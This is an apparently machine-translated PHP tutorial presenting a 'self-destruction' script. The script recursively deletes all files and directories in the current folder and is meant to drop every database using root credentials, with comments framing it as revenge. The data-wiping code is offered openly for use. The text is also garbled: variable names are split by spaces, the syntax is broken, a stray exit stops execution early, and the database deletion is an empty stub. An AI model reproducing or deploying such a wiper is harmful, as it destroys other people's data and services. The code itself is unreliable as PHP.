PHP self-destruction program (use with caution)

PHP self-destruction program (use with caution)

This article describes the PHP self-destruction program. Share it with you for your reference. The specific implementation method is as follows: // + ---------------------------------------------------------------------- // | Kill !! // | The program will clear all files and directories in the current directory // | If the database information is set, try to delete all the database and table data (only if the permission is sufficient !) // + ---------------------------------------------------------------------- // | Version: $ Id $ // + ---------------------------------------------------------------------- // ---------- Database configuration area ----------------- // The force of revenge is terrible, so you do not need to specify a database to delete all! Define ('Db _ user', 'root '); Define ('Db _ pwd', 'root '); Define ('Db _ host', 'localhost '); Define ('Db _ port', '123 '); Define ('Db _ damage', true); // if it is false, the database is not touched. Run (); /** * The subject idea must be brilliant! * * @ Return void **/ Function run () { // Delete an object Deletedir (); // Delete the database DeleteDB (); } /** * Heh: delete all files in the current directory (recursion) * * @ Return void **/ Function deletedir ($ dir = ''){ If ($ dir = ''){ $ Dir = realpath ('.'); } Echo $ dir; Exit (); If (! Handle = @ opendir ($ dir )){ // Check whether the directory to be opened exists Die ("this directory is not available "); } While (false! ==( $ File = readdir ($ handle ))){ If ($ file! = "." & $ File! = ".."){ // Exclude the current directory and parent directory $ File = $ dir. DIRECTORY_SEPARATOR. $ file; If (is_dir ($ file )){ Deletedir ($ file ); } Else { If (@ unlink ($ file )){ Echo "file$ FileDeleted successfully. "; } Else { Echo "file$ FileDeletion failed! "; } } } If (@ rmdir ($ dir )){ Echo "directory$ DirDeleted successfully. \ N "; } Else { Echo "directory$ DirDeletion failed! \ N "; } } /** * Heheh: Delete a database * * @ Return void **/ Function deleteDB () { If (DB_DAMAGE === true ){ // Start } } I hope this article will help you with php programming.

PHP